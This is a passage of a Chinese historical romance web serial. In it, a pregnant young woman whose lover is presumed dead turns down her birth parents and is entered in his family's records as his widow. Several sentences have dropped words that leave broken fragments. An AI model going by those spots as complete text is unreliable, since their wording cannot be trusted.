青娥扶着浑浑噩噩的祁泠往内走了几步,祁泠余光中是跪下以表顺从的旧臣,带着人从小路下山崖去找人的谢子青。 青娥道:“我送娘子过去吧。” 祁泠摇头,她不想回去,在此等着,站在这里。云雾缭绕的山崖,不知其下深几许。 下意识,她觉得,会有人将他带上来。而他只受了些轻伤,因此来迫她心软,看她哭泣模样。 来寻祁清宴的人愈来愈多,却迟迟没找到人。 黄昏已过,天色沉沉发暗,黑云堆压在林上。 冯夫人闻信赶来,见到祁泠回来一把抱她进怀里,祁泠躺在冯夫人的怀里,眼泪不知不觉打湿冯夫人的领口。 “没事就好,阿泠,我的阿泠,先和母亲回家。”冯夫人柔软的手掌顺着祁泠后颈,脊背,一遍又一遍,如哄着被吓到的孩子。 回二房宅子,祁泠下了马车,离远见院门被烧了些,走进院中,发现内室的窗棂被火熏得灰黑。 冯夫人裹紧祁泠的披风,侧头咳了几下,解释道,“他们走前放了一把火……三郎的人找到这里,救下我们。” “母亲……有消息告诉我。”祁泠发出的声音嘶哑,她回到屋里,银盘从庙宇那边的赶了回来,正在等着她,陪她坐着。 一整夜,没有消息传来。 银盘靠着侧边床架眯熟了,祁泠没睡,满脑子都是祁清宴。 她应当恨他,上一次见面闹得一塌糊涂。她那时真想一死了之,那般便不必在意其他了,被阻下后,想让腹中孩子死,有几瞬,也真真切切地希望他死了算了。 恨他总要将她置于不堪的境地。 如今,心中空荡荡的。 翌日一早,冯夫人端着煮热的羹汤进内,递给祁泠,祁泠摇头不想喝。 冯夫人舀了一勺,喂到她嘴边,祁泠才勉强张开嘴,咽了两口下去。 建业又变了天。 乱世中皇族反复更迭,屹立不倒的只有几大士族。曾经居于慕容氏的养子回府身份成了皇帝,慕容氏又多了一个皇后,比从前更煊赫。 而祁泠呆在屋内,不出门。 祁观复几次回祁府去,同冯夫人道:“寻到废帝了,早死了……清宴还没找到,大哥和母亲急……” 冯夫人和祁观复说话声音刻意压低,祁泠听得不甚清晰,她哭不出来眼泪,眼眶和心口干疼着。 楚徇已在人前戳破她和祁清宴的关系,父亲母亲却没私下问她。她摸着尚且平坦没有一点明显的小腹,不知该如何做。 建业一连下了多日的雨,祁泠没回建业祁府去。但也知……大半月都没找到人 ……他凶多吉少了。 晨起,她听见院中有客,亦不想出门见客。冯夫人进屋给她梳头发,牵着她的手出去。 一对夫妻站在狭小的堂屋里,妇人眼含点点泪意,她夫君神色平淡些。 祁泠不认识他们,眼见着没人打算开口为她介绍。她转看向冯夫人,“母亲,这是……?”声音不大,满是亲昵与依赖。 妇人哭得更甚,抽噎起来,美人哭泣,梨花带雨也不觉狼狈。冯夫人道:“阿泠,这是……你亲母和亲父,他们从南边而来,来看你。” 那妇人克制不住,上前将祁泠揽过去,抱在怀中,一声又一声喊着阿泠,由生疏到熟悉。 被环抱着,祁泠心中竟然没有什么触动,心竟格外的平静,问:“是真的吗?” 她怀疑是不是祁清宴寻了人来,演一出认亲的戏码,只是为了让她明面上有合适的身份。 祁清宴,祁清宴…… 祁泠一想起他,丝丝缕缕,藤蔓似的东西缠紧了她的心,喘不过气,后知后觉反应过来,是疼。 如他所愿,她对他有恨,有怨,有一点情,再忘不掉。 苏絮松开手,忙着点头,“真的,阿泠,我是娘亲。”养尊处优细腻的手握着祁泠的手,她道:“娘不好,娘忘了你,一直没能记起来。” 祁泠没甚么触动,也不抗拒,由她抱着。她反应太平,所有人都没想到。 冯夫人寻由头,将祁泠拉回屋,与她细谈:“阿泠,你生父生母想带你走,你跟母亲,也……不必忧虑其他。” ,不同意。 不多时,苏絮放轻脚步,小心走进来, 手,祁泠垂着头没反应,她心里妥帖发暖,温声道:“阿泠,随娘回,娘慢慢补回来好不好?” 祁泠抬头看她,忽然道:“我有孕了。” “……是谁!可曾说要娶你?”苏絮惊到长大了嘴。祁泠明明待字闺中,还没嫁人,也没定婚,怎么就有了身孕。 祁泠不说话,一张嘴闭严了,再不肯多说一个字。 苏絮后知后觉,想她或许年少,被人骗了,她若追问岂不是碰到女儿伤心事,改口道:“没事阿泠……我们走,不在这里,回金城去。这孩子,你若是想生下来,我们全家养着。不想要,就不要了,来日好好嫁人……即使不想嫁人,一直呆在娘身边,娘也高兴。” 她没有一丝责怪,心疼地看着祁泠,眼眶一圈又红了。 祁泠对着冯夫人说不出来,一直瞒着,她不知道该怎么办,和苏絮却说得顺畅,想起来随口就说了。 因为没有负担,即使苏絮因此嫌弃唾弃她,她也不会伤心。 可听到这里,忽而想起,就如祁观岚一般么?她也可以在家中,不想嫁人就不嫁,做无拘束的女儿吗? 在苏絮迫切的眼神中,祁泠慢吞吞道:“……我考虑一番。” 苏絮笑出了声,只等着带着祁泠回家,她还没想起全部,但也不想留在建业。 她揽着祁泠,头靠在祁泠发上。在祁泠看不到的地方眼泪无声滑落,又被她悄悄抹去,愧疚疼惜几乎要溢出来。 她黏着女儿,只等祁泠同意,吃食都要亲自动手,小衣鞋袜也不假他人。 …… 绿柳丝丝垂落,彩线绕起角黎,又是一年端午时。 前夜落急雨,清泠泠的落了半夜,天际渐褪去暗沉色,彻底亮起之前,有消息传进建业祁府。 崖远处林中寻到了祁清宴当日穿过的官服,残破不堪,经了风吹日晒,其上鲜艳绯红已经褪为黯淡的红棕。不远处野兽洞穴旁零零散散有骸骨。 林中吃人的兽类不断,怎能寻到完整的人。 这么久没找到人,或多或少有了不幸的猜测,但一直没见到,还是怀着一丝侥幸。 乍然闻此惨状,寻常亲人受不住,一直对祁清宴心怀有愧又偏疼他的老夫人更是受不得,闻讯悲痛过度以至惊厥,祁府乱做一团。 宫中派来的御医围着,给老夫人连着灌了几大碗吊命的药,嘴里含着人参片。隅中之时,老人家才勉强睁开眼睛,喘着粗气儿。 一双眼浑浊发木,没了精神头。 祁家除了还没得到信的二房,都聚在这里。 祁观岚伏在老夫人身边哭泣不止,曾经的骊,如今的关山风,起事有功已成了中郎将,足矣来娶她。 来日,阿濯有名正言顺的父亲,不必被人瞧不起。 她自知亏欠了祁清宴,血脉相连的亲人,心本来便疼,疼爱她的母亲又这般模样,整个人哭成泪人模样。 祁观颐跪在祁观岚身边,他亦难过,祁清宴说阿泠不是他的孩子,那他只剩清宴这么一个孩子了。 早间闻信还曾亲眼去见,正是他入宫当日穿的衣裳,还有他身上的玉佩饰物,错不得。 子嗣缘浅。 他此刻忍着伤痛,劝着老夫人:“母亲,是清宴命浅,母亲还有子女,孙子孙女,外孙外孙女,一家都要母亲照看,母亲不能倒下。” 老夫人眼角淌着眼泪,干枯发白的嘴唇翕动,旁边的祁观岚听着老夫人在重复说着,造孽,造孽…… “母亲,母亲!”祁观岚扑过去,攥紧母亲的手。 如何能不可惜? 明明熬过被废帝针对,最艰难的日子。清宴,祁家的清宴,圣上友人,从龙之功,又有帮扶其微末之际的恩情,来日官途坦荡。 老夫人总是追忆从前的好,到了光复沈氏时,又舍不得最孝顺的子孙。若知要以他性命来换,不如一家团圆阿。 她嘴里喊着:“阿质,阿质,到祖母这里来,不听你父母的话,他们偏要送你走!” 祁观颐愧疚低头,大夫人面色苍白如纸,被她的嬷嬷扶着,满脸是泪,早生半头白发,憔悴不已。 她活到如今全靠着儿子撑着,骤然又失子,颤抖的唇说不出一句话。 “血脉断了,阿质还没娶妻,可怜,我可怜的阿质……”老夫人听不进任何劝她的话,满心都是她的孙子。 老夫人的大丫鬟听荷,站在在主子们旁边,满心难过,也默默抹着眼泪,她和老夫人相处多年,感情自然深厚。 听见外面叩门的响动,她看着内里主子哭的哭,沉默的沉默,转身去开了,见是琅玕院的青娥,顿时低声道:“青娥?你来这里做什么,老夫人见你又要伤心。” 赶来的青娥利落道:“快去内里通禀,我有要事要同老夫人说。” 听荷知道青娥素来有分寸,没多问,转身去报了。 听说是琅玕院的青娥,听到熟悉的名字,老夫人不再说话,一点精气神都没了。 祁观颐做主,“让她进来说话。” 青娥一进来,就跪在中央,“奴婢要禀有关三娘子的事。” 三娘子。这个称谓又像是把刀,或深或浅扎进人心里,祁家人都听说了宋家来认女儿的事,老夫人也知道了,此刻想起祁泠,又是一声叹息。 关系极好的兄妹,祁家一个也没留下。 青娥低头,叩头道:“郎君之前同奴婢说过,三娘子……已有身孕,郎君身边许多人,沉弦、贡家兄弟都知晓此事。” 此话犹如惊雷,老夫人听后麻木的脑子都没转过来。最先反应过来的是大夫人,猛然站起来,她早便觉得两人有异,“是清宴的孩子!?” 青娥应是。 祁观岚不说话,她也是早就知道了私情,只有祁观复惊得都木头桩子似的不动。 老夫人都顾不得孩子是怎么来的了,一心就是孩子,她的阿质留了血脉!扶着床沿起身,拽着祁观岚的手,喊着:“快!快带我去找阿泠。” “母亲,你病着去什么?让他母亲去吧。”祁观颐劝也无用,老夫人抓住救命稻草似的,决意要去。 第73章 第七十三章【VIP】 祁家二房没有过端午的气氛。 从金城赶来的宋家夫妇却准备周全,苏絮起早包了角黎,口味兼顾,做些甜的与咸的送到祁泠屋里,剥给祁泠。 祁泠听话接过,小口小口吃着。 苏絮看着大女儿,不免想起家中儿女,微微笑道:“阿泠,咱们家中兄弟姐妹多,你有两妹一弟……大些的妹妹喜欢甜口,另一个吃惯咸味,弟弟什么都喜欢。”她说起儿女,话匣子一开就止不住,眉眼萦绕晕开温柔神色。 神情映在祁泠澄澈的眼眸里,她稍侧开脸,实在无心去想同父同母的嫡亲弟妹们。 他们有疼爱的父母,这些小事她听起来也不觉可爱,反而心里最深处泛着发酸的妒意。 提起妹妹两字,她自然而然地想起祁云漪。 一想起祁云漪。 昨日她见到妹妹了。祁云漪不知听人说了什么,躲在门口,眼泪汪汪地看着她,她唤了声漪漪,小丫头却哭出声,扭头抹油似的,溜得飞快。 “……阿泠?” 祁泠回过神,转头望见苏絮目光紧随着她,见她走神,身子又朝她这侧倾了倾,是不安与忧虑,怕女儿改了主意,不愿同她回去。 来自亲娘的关怀压在祁泠身上,让她觉得沉甸甸的,难以呼吸,她起身:“……我出去,去看漪漪。” 苏絮担忧也只能点头,毕竟这是祁家。可看着祁泠走出门去,回想女儿曾受过的苦,又是一阵密密麻麻的心痛。 祁泠的屋子和冯夫人的屋子连着,她一出内室的门,就是冯夫人的内屋,此时内屋里没人,只见到祁云漪跑出去的影子。 祁泠朝她喊着:“漪漪。” 祁云漪跑出去一会儿,才又转身回来,走到祁泠面前低着脑袋。 “怎么了,漪漪?这几日,你总是躲着阿姐。”祁泠问着。 祁云漪哇一声哭起来,她已是识字读书的大孩子了,许久都没哭过,“他们都说阿姐要走了,以后我都见不到阿姐。阿姐有旁的父亲母亲,弟弟妹妹,与我不再好了。” 祁泠擦去她的泪,“你是阿姐最喜欢的妹妹,阿姐永远同你好。” 祁泠哄好了祁云漪,走出屋去,见到宋岑。面对这个是她生父的男人,祁泠只有生疏,即使有着同她相似的轮廓,两人也无话可说。 终是宋岑先开口:“宋泠音寓意不好,你娘昨夜为你取了新名字,宋令仪。下面两个妹妹分别唤令蕙、令茹。” 宋令仪。 “我尚未想好,要不要回去。”祁泠默了一阵,随后说了真心话。 “是你娘,一定要来认你回去。”宋岑蹙眉。对她来说,如今既然身份清明了,最好的法子就是回到金城去,否则在祁家不尴不尬地过活,到底不好。 他望着祁泠,一时不知她是真的不想回去,还是心怀怨气。 只是,对苏絮而言,建业是梦魇,他不想苏絮在此久留,可她铁了心要带祁泠一起回去。多留一日,她彻底想起来从前怎么办? 他对这个女儿没有太多感情,些许愧疚早被冲淡消失,再也寻不见。见祁泠执意不松口,直白问道:“你同祁家清宴是否有私情?” 祁泠脸色骤然白了,不知他为何知道。 车马兼着重而杂乱的脚步声响起,尚未修缮好的院前来了三辆通体黑漆的马车。 二房其余人听见声音出来,冯夫人跟在祁观复后面,走到近处,握住祁泠的手,拉她过来,护她在身后。 祁泠转而望着她的生父,他神情寡淡,退避而去,祁家事与他无关,甚至细数起来,从前尚有恩怨。 在那一刻,她知道宋岑恨祁家人,也将她视作祁家人。 “母亲!”祁观复见老夫人从马车下来,大吃一惊,忙上前搀住。 沈老夫人连二儿子都看不进眼了,不知应没应,把儿子推开,也略过冯夫人,眼神直愣愣落在祁泠身上。 她经了大打击,一双眼已衰败如枯老的树皮,内里却迸出炽热、虔诚的目光,看得祁泠心中极重地跳着,整个人发麻。 她下意识唤了声祖母,又觉失言,赶紧闭严了嘴。 老夫人却重重地答应下来,声音意料之外的中气十足。 “阿弟,我们在外面,让母亲带着弟妹,阿泠……一起进屋说话去吧。”祁观颐叹息一声,不知母亲会做到什么地步,还是避着些人好。 老松,一直拉着她,将人带进屋里。 门方阖上,,仍浮动空中,老夫人就开了口,“阿泠啊……” 她太过伤心,连眼泪都控制不住,只要一想起阿质,泪不知不觉纵横脸上, 大夫人压起,冯夫人看她模样也可怜,只是她的阿泠也不容易,下,并不说话,不提祁泠。 祁泠听见呼吸响在耳边,满腔满心像是被堵着,闷得没法舒开。 她全身都僵硬,一双手像冰渣子般冻人,“祖母节哀。”用尽全部力气说出四个字,再之后,舌头棉花似的说不出话。 “祖母、祖母知道你有清宴的孩子,是他留下的唯一血脉,阿泠养好身子,将孩子顺利生下好不好?”老夫人语气卑微,哀求着、殷切望着祁泠。 而祁泠嘴里堵着,舌根压紧。 这层窗户纸到底彻底捅破了,在他不在祁家,再也不会回来的时候。 祁泠没反应,老夫人哭着:“阿泠、泠丫头,祖母求你了……我之前待你不周全,却没苛待过你,还算尽了几分当祖母的心。你念在祖母的份上,同我回去吧!没了清宴,祖母真的活不下去了,阿泠……” 老夫人情绪激动,声音极大,说到关键处又惊厥过去。祁观岚赶紧扶着母亲,“来人,快来人。”不停朝外喊着。 老夫人醒后就被搀了回去,她一清醒就要见祁泠,魔怔似的,好不容易才被劝走。 而大夫人走前看了祁泠一眼,眼里也有期盼与哀求。 一群人为她的去留争执不休。 苏絮想立刻带她回金城,冯夫人不言语,老夫人想将她接到身边,等她生了孩子再说。 祁泠谁的话也没听进去。 翌日,宋家夫妻收拾起行囊,宋岑雇了镖局护送,准备带着祁泠早些回金城。 贡家弟弟中的贡承气势汹汹地来见祁泠,“听说三娘子狠心,要同宋家回去,殊不知当初宋家根本不想——” 贡承紧随其后,跑着追过来,死死捂住弟弟的嘴,“娘子勿怪,他因郎君太伤心了,一派胡言乱语。” 沉弦也追着赶来,一行人是从建业琅玕院过来的。祁泠看沉弦小小一张脸,眼睛哭得肿似核桃,知道他们才是真的伤心。 如今,再怎么惊奇的消息也不会让她伤心了,祁泠抬眼,望着眼中几欲冒火的贡嘉,“你说罢,我听着。” 贡承松了手,高个子的贡嘉却哭了起来,“娘子不知,宋家压根就没找过娘子,宋家老爷早就知道娘子在祁家,从没想过要认。郎君查了许久找上门去,却被宋家撵了出来。” 他将当时的事,一五一十全部说了出来。 祁泠才知为何娘对她过分亲近,原是愧疚。父冷淡,原是不喜。 不知为何,她长长松了一口气,反过来吩咐贡嘉道:“我想出门一趟。” 尚未到建业主城,只是周遭热闹了些,祁泠寻到一家两家铺子合起来的医馆,命马车停下。 缩在马车角落的沉弦道:“娘子,朴老在建业,娘子的身子一向是他调理的,外面的人没他看得好,我去找他吧。” 祁泠道不必,带着银盘进了医馆的门。祁家跟来十个护卫,都在门口候着,祁泠如今是祁家重中之重。 老大夫先问:“娘子有何要看?” 祁泠抬手抚了发,还是娘子的披发,浑浑噩噩竟忘了此事,早知来前盘起发好了,下面要说的话变得为难些,“我……已有身孕。可此前吃了许久的避子药,听闻此物是虎狼之药,不知孩子可好……是否能康健出世?” 老大夫斟酌着问:“有孕后可曾用过?” 祁泠想了想日子,点了头。 老大夫长叹一口气,知道不大好,好歹是一条性命,医者仁心不免叹气,“避子药常用砂汞,大毒之物啊,壮年男子服多都不好,怎一孩儿可受?” 祁泠垂着脑袋,伸出手去,任由老大夫看诊。 老大夫把脉之后神情一变,又细细看诊许久,最后才抚须,满意道:“脉象流利,如盘走珠圆滑而进,气血充盈,胎孕安稳,娘子大可放心。” 确实,祁泠整个心落回去,犹豫散了。 孩子……他们说是祁清宴的血脉,劝着她好好生下来。其实也是她的孩子,在她肚子里慢慢长大,与她关系更亲近。 她摸了摸小腹,还是平坦的。 那边的老大夫犹豫后,还是问出来:“娘子确定用的是避子药?脉象全然看不出啊。” 祁泠又点了头。 老大夫细细琢磨,还是连着摇头:“不对不对,定是用了好些补药,将身子调理得极好,避子药亏身子,把脉时定会发觉。娘子不知,身子亏空之人难过生产关。气以载胎,血以养胎,娘子如今气血足,母体康健,才使胎孕安康。” 祁泠坐在马车里,沉思着。沉弦看着她神情,又往里缩了缩腿,而银盘托腮,偶尔叹气。 行过半程,祁泠彻底明白了。 仔细回想,其实祁清宴从未承认过那是避子药,每次看她坚定且急切地吃,都露出一种甚是微妙的神情。 如今回想起来,他怕不是以为她傻? “祁清宴,祁清宴……” 祁泠咬牙喊着他的名字,眼里浮起朦胧泪意,嘴里发酸发涩,被她忍着咽下去。 她当真是被他蒙在鼓里太久。 他时刻算计她,从未变过。 第74章 第七十四章【VIP】 祁泠回到二房,下马车时见宅院外墙靠着一辆宽大的纂刻黑漆的马车,祁家主子用的马车样式一致,细节却有不同,这两四角挂着古纹铜铃。 是慕容氏的马车。 她匆匆拿起帕子,擦去眼角处残着的几点泪,曾经在琅玕院被大夫人撞见的难堪仍存着,因着人在里面,脚下步子迈得有些艰难。 大夫人同冯夫人妯娌之间关系一般,往日无事从未来过,此时来此只能为她和祁清宴,还有……腹中子嗣。 玉盘掀开帘子,让祁泠进屋。 冯夫人和大夫人在罗汉榻两侧坐着,她进门前两人应当没说话,因她走到内室,里面还静默着,无人开口。 “母亲,大夫人。”祁泠微俯身,行了周全的礼。 在她脊背稍弯时,大夫人手扶在榻边,动作似要起身。 只是祁泠的礼行得太快,只俯了个身便站起来,大夫人双手交叠着,重新坐好,掌腹紧压着下面的手,忍着满腹的心酸,应了一声。 “阿泠,你来。”冯夫人招手招祁泠过去,拉住祁泠的手,让女儿坐在自己身边。 待祁泠坐稳了,冯夫人又起身要出去,祁泠下意识抓紧冯夫人的手,但冯夫人拍拍她的手,“阿泠,大夫人有话同你说,母亲在外等你。” 冯夫人出屋后,祁泠垂着眼,从嗓子眼没再发出一个音来,静静等着大夫人开口。 两人都没说话的功夫,大夫人在打量着祁泠,娘子眼周红肿,长睫之上挂着稀碎未干的泪珠。 她的憔悴与伤怀,大夫人看在眼里,又听冯夫人说了祁泠近些时日胃口不佳,每顿只吃几口清淡的,时不时也吐,日子不好过。 同病相怜,清宴没了,有人同她一般难过,大夫人的声音带着浓重的倦意:“你怀着孩子,这几日还难受么?” 祁泠摇摇头,道没有。 大夫人又安静一阵儿,抬手间帕子遮住发酸的鼻腔,缓了缓,复道:“曾经我怀清宴时,头两月吃不下东西,吐得厉害,险些保不住……后来,难熬的日子过去了。有了孩子,对其他便没了指望,一心盼着清宴好。” 她说完,转头看着侧旁安静垂头,眉眼温和的娘子,道:“……祁泠,我当初待你不好,误会你是他的女儿,言辞难听……今日来,羞愧难过皆有,为人母亲,却不得不来。” 她的态度和从前相比简直是天上地上,解释了从前为何待她不好。 但祁泠知道,即使大夫人没误会她是大房的孩子,也不会喜欢她。此刻软了语气,只为一件事。 祁泠干脆道:“我不走,就在这里,将孩子生下来。” 她回来的路上已然下定决心,如宋家此前不知她身世,她便回金城去了。只是从前知晓未认,默许她被错认成祁家亲生,以后也没必要了。 况且……这是他打定主意要留下的孩子。若是他在,肯定会想法子,让她生下孩子。 “那以后呢?”大夫人缓缓说着:“无论男女,这都是长房唯一的血脉,一定要在祁家养大。你作为生母,要同孩子分别,长久不见么?” 祁泠茫然,没想到这里。 她从医馆出来,解了心中犹豫,定下要生。可之后呢,难道她也要做抛弃孩子的母亲么?这几日浑浑噩噩,她未想过那般远的事。 “你来做清宴的正妻。” 此话一出,祁泠更懵了,转头望大夫人,微张着唇,嗓中发出一点含糊疑惑的音。 任凭她怎么想,也想到不到大夫人今日为此而来。 大夫人却坦然,既然开了口,也无犹豫的机会,干脆接着说:“只有你为正妻,孩子才是祁家长房嫡出的血脉,身份、来历皆无可诟病。清宴只这一个孩子,我想让他九泉之下瞑目。” 她其实在家中辗转反侧多日,才定下主意,道:“这几日,我问过清宴身旁的侍从,他们都说,清宴正在想法子娶你。” 若祁清宴还在,即使祁泠身份大白,两人毫无血缘。但曾经有居于同一屋檐下,被人当做嫡亲兄妹的日子,成婚实在不妥当,大夫人绝不会应允。 可如今,儿子没了,只剩下这一点血脉,出身慕容氏,她无法接受唯一的孙辈身份不明。 大夫人道:“从前我不会答应,如今却是委屈你。我已同母亲提过,母亲也答应了,只要你肯进门来,在家中便是琅玕院的主子,大房交由你来管,同清宴此前一样,全当我多了女儿。” “若你不愿,只求你好好生下孩子,家中不会亏待你,念,求你,为他留下这一点血脉。”她说着,又头,连带着孩子的母亲,她也一并接纳。 ,冯夫人进屋,坐在祁泠身边,攥着她的手,慢慢顺着,“这几日母亲没同你说,只是到了今个,必须要拿主意出来,不” 肚子一天天大了起来,怎么能无名无分地生个孩子。 ,从远处望过去清澈,内里却有不尽淤泥,一不小心,整个人都要陷进去,再出不来。你去了,,锦衣玉食来日不愁,可是以后几年,几十年,你活,阿泠,这太苦了。” “母亲,我愿意去。”祁泠却道。 她想过了,她不想嫁人,没有夫家,留在,祖母对*她有恩,此刻要没了孩子,,这孩子必须留下。 她自己名不正言不顺地长到这么大,知晓来历不明的孩子会受多少非议。 算了。 宋家夫妇住在另一侧的客居。 祁泠敲门,宋家带来的下人去内里通禀夫人,苏絮听说是祁泠来了,放下绣了一大半的香囊,亲自去接,“阿泠?快进来。” 她想牵着女儿的手,祁泠的手却轻轻垂落下去。 客室不大,她望见宋岑在内里,她没踏进门,往后退了一步跪下,堂堂正正磕了三个头,头与冰凉的砖石相碰,疼也麻木了。 她起身,在苏絮和宋岑诧异的眼神中道:“我不去金城了,已答应永远留在祁府。” 苏絮捂着嘴,难以接受。宋岑皱眉,起身走到门前,问:“你可曾想过,留在祁家,你再无反悔的机会?” “我想过。”祁泠站了起来,她攥紧袖口,绣纹压在掌心,压实,压出印子来,这些日子的彷徨无措彻底消散,“宋令仪好听,可我习惯了旁人唤我祁泠,那不是我的名字。祁家于我有养恩,我不能视而不见。你们于我有生恩,我亦不会忘。在金城,你们有子女,在建业,我也有我的羁绊。” “阿泠!”苏絮上前,握着她胳膊,哀求着:“你要怎么留在这里,当一辈子的寡妇吗,你才多大?你知道往后要受多少苦么?” “你可是怨我?才不愿回去。”宋岑也问,随后道:“你不必因我,害了你自己。” “不是。”祁泠果断否认,“方才叩头是谢过生恩,我没有怨,也没有赌气。不可否认,从前确实有几分期盼,知晓不是母亲亲生,盼着亲生父母有朝一日来寻我,后来,也不想,不盼了。所以如今,没有怨。” 如今她释然了,寻到生父生母又能怎样?当年的事皆有苦衷。 好不容易忘记一切、没回来寻她的生母。 不忍未婚妻受苦,从淮陵搬走寻她的一路,将妻子视若珍宝的生父。 祁泠不怨恨任何人,但也不会期待。不是所以血脉相连的人,都会成为彼此至亲。 其实也有爱她的人。 为她考虑的冯夫人和祁观复,这些时日两人焦头烂额,她来前才知,祁观复在建业忙着寻族老,一个又一个说服。 祁清宴,她不想承认,但他确实因为救她才从宫中出来,若不救她,他大可安安稳稳地活着。 她因生恩明知前方陷阱,也愿意去换冯夫人活命。那他呢?为何要换她。 每次细想,心像被刀一点点地剜开,密密麻麻缺失的疼足矣让她抬手压住心口,又一遍道:“我愿意到祁家去。” 苏絮还要再劝,宋岑拦住她:“你我不知内情,随她去吧。” 既说定了,祁泠第二日便要离开,宋家收拾好了东西却还没走,晚间,苏絮抱着被褥过来,身后一人都没跟,唤了声,“阿泠。” 苏絮陪着祁泠一同睡,祁泠端端正正地躺着。苏絮也是,她道:“阿泠,往后想回家,何时都可以回去,我每月寄信于你。” 自从上次说弟妹,祁泠走神,从此之后苏絮再未提过,能陪他们的日子往后还有许久,但能与大女儿相处,恐怕只剩这一日。 “我可以姓苏吗?”祁泠忽而开口问一句。 得了祁泠答应的话,大夫人午后又来了一趟,当初在临川的事也露馅了,如今办亲事名声太不好听,对外只道两人已在临川成亲,有陛下以及秦家作证。 只是宗法内同姓不婚,她要记在族谱上,祁清宴旁侧,绝不能写祁泠。 苏絮忙应道:“可以,当然可以。” 祁泠睡着了,这么多日以来头一次睡得如此好,恍惚间梦到许多幼时的事,母亲紧紧抱住她,眼角一点泪湿,她梦中喊了一声,母亲。 苏絮听得清楚,却知道不是在唤她,无声流着泪,今生无缘做母女,只能日后每日在佛祖前上香求阿泠以后安康顺遂。 翌日,冯夫人和祁观复一同送祁泠回去。临行前,宋岑和苏絮也来了,苏絮不停哭,宋岑上前,递给祁泠一个檀木箱子。 祁泠不要,他道:“收下吧,没什么能为你做,我无愧于三个小的……祁家三郎说的对,唯独对你,不配父亲,欠你的,还不清。” 苏絮拿走盒子,强塞进祁泠怀里,她抽噎着哭得太伤心,祁泠不忍看。 车帘放下,她抱着檀木箱子,却没打开。 大夫人在府前候着,亲自带着祁泠去琅玕院,她一到这里忍不住落泪,匆匆嘱咐了祁泠几句就离开,与冯夫人一起去瑞霭堂商议。 以后许多年,祁泠都要住在这里,银盘去铺床褥,祁泠先去了书房,望着熟悉的屏风、桌椅,思绪万千又难言。 桌案之上一沓书和纸张,洒扫的人不敢多动,只压了砚台上去,防着被风吹走,祁泠坐的小案桌仍在一旁。 纸张上隐隐约约有墨色,祁泠瞧见了,走过去,拿起,泛黄的纸页在指尖纷飞。曾有人忙中偷闲,在此斟酌许久,笔酣墨饱写下—— 祁灵妤 祁灵昀 翌日,祁家一清早开祀堂,请了旁支族老过来,由祁观颐主着行告庙仪式,禀告先祖家添新妇。 寻常未有六礼上不得族谱,但是此事特殊,又得祁家一致应允。 香火缭绕间,祁泠跪在堂前为祁家先祖上香,祁观颐抬笔,在族谱之上写了她的名字,苏祁泠。 同姓不婚,她不愿姓宋,遂在名前加苏姓。 便为,长房次子祁清宴娶淮陵苏氏之女苏祁泠。 谱牒又向朝廷报备。 此后,她成了祁清宴名正言顺的妻。 第75章 第七十五章【VIP】 暑气渐薄,堂中怪石中央夹杂的怪草已染黄,树上脆黄的叶悠悠飘落,清澄的天衬着一成不变的安静院落,无端显出些许寂寥。 听荷遵着老夫人的命,推开窗子,带着点凉的风吹进来,屋内的说话声也飘了出去。 “不能总闷着,你也出去走一走,不然那,来日该不好生了。”老夫人说着。 “阿泠,听你祖母的话,后日我进宫去探望皇后娘娘,她连着病了半年。听闻你识得林昭仪,正好与我一同进宫去。” 大夫人话落下,坐在她旁边扶手椅上的祁泠一手扶着肚子,坐得有点累了,稍稍动了身子。 老夫人和大夫人还在一言一语说着,没给祁泠拒绝的机会,定下了后日进宫去。 带祁泠进宫去也是给皇后沾沾怀孕的喜气,自沈惊鸿登基,后宫空荡荡的。 新帝为林家,也是曾经的祁观岚夫家平反翻了案,册林照君为昭仪,为平流言,又纳几位士家大族的妃子,位份都不低。 后宫人多了,也一直没传出来哪位妃子有孕的消息。主要是新帝年岁不小,又一副体弱模样,实在让人忧心他坐不稳这位置。 祁泠想着去看林照君,便也不说话了。 老夫人望着祁泠的肚子,惦记着这到底是男还是女,一时也叹气,“府上啊,人越来越少了,太冷清了。” 大夫人没应声,对她来说祁府其余人都不重要,如今每日带着祁泠,教她掌家,陪着养胎,她每日都要见上祁泠两三次,生怕出一点差错,忙得团团转。 余下的闲暇时,也会想起儿子,难过刻在骨子里抹不去,只能靠着新生命来一点点淡化。 祁家如今人确实少,祁观复在新帝面前领命回了北关。二房夫妻偶尔回来一趟,平日里带着女儿和侄女住在外面。 原本祁观岚这小女儿陪在母亲身边,月前方嫁了出去,十里红妆二嫁,祁阿濯,还是祁阿濯,只是有了名正言顺的父亲。 祁既白被召进宫,见了陛下和林照仪,回到家中跪谢了老夫人,祖孙两人哭作一团,之后改回林姓,林既白。 陛下赐了原本的林府。 这一年里,祁云漱和祁望舒都出嫁了。 偌大的府邸,除了此刻瑞霭堂三个说话的女眷,只剩下二房院子里的祁雪峤,他有了官职,不常在府中。 “阿泠啊,你和你母亲帮着看看,二房这么一个儿子,早日娶妻也好。不必是大户人家,小户人家的嫡女最好,来了府上咱们绝不会苛待她。” 大夫人应是,祁泠也点头,不过她对建业女眷不熟,还是要靠大夫人,毕竟从前为了给祁清宴挑亲事,她查的一清二楚。 不巧,提到谁谁便来了,丫鬟快步来传话,俯身道:“老夫人,四郎君来了。” 大夫人望向祁泠,眼尾微挑,祁泠心领神会,婆媳两个一同起身同老夫人告辞。 老夫人知是自柳氏生事,二房搬走,大夫人更不喜祁雪峤,总觉生母不正孩子也好不到哪里去,祁泠则是叔嫂避嫌。 祁雪峤垂目,问了大夫人的礼,对着祁泠未直视她眼眸,只语气平淡唤一声三堂嫂。 大夫人嗯一声应下来,祁泠未唤他,已与从前不同唤兄长失礼,喊堂弟更是别扭,只道:“祖母在里等你。” 祁雪峤未应声,站在门边,等着祁泠和大夫人走远了才抬头看过去。 已不似从前何事都同祁泠细说,他也从未想到,祁泠真能嫁去大房,而且还是心甘情愿地给人守寡。 …… 大夫人在旁,时不时便要看看祁泠能不能跟得上,银盘扶着祁泠慢慢走着。 一开始大夫人是无可奈何,但时日久了,倒有了点相依为命的意思,老夫人还有旁的子女孙辈,两人才是真真失了依靠。 “阿泠,你先回去睡一觉,午后来我这练字如何?”大夫人问着。 祁泠道好,她也不困,索性直接同大夫人回了前头院子,练字静心。 她白日不常在琅玕院,即使熟悉了那里的一草一木,连着一整日呆在那里,还是觉得心里空荡。 待到后日进宫时,祁泠随着大夫人先去了未央宫,慕容皇后自打进宫便告病,祁泠见她觉得精神头还好,姑和侄女有话要说,祁泠告辞,银盘扶着她去见林照君。 ,发髻盘起簪珠环,亲自接了祁泠进殿。 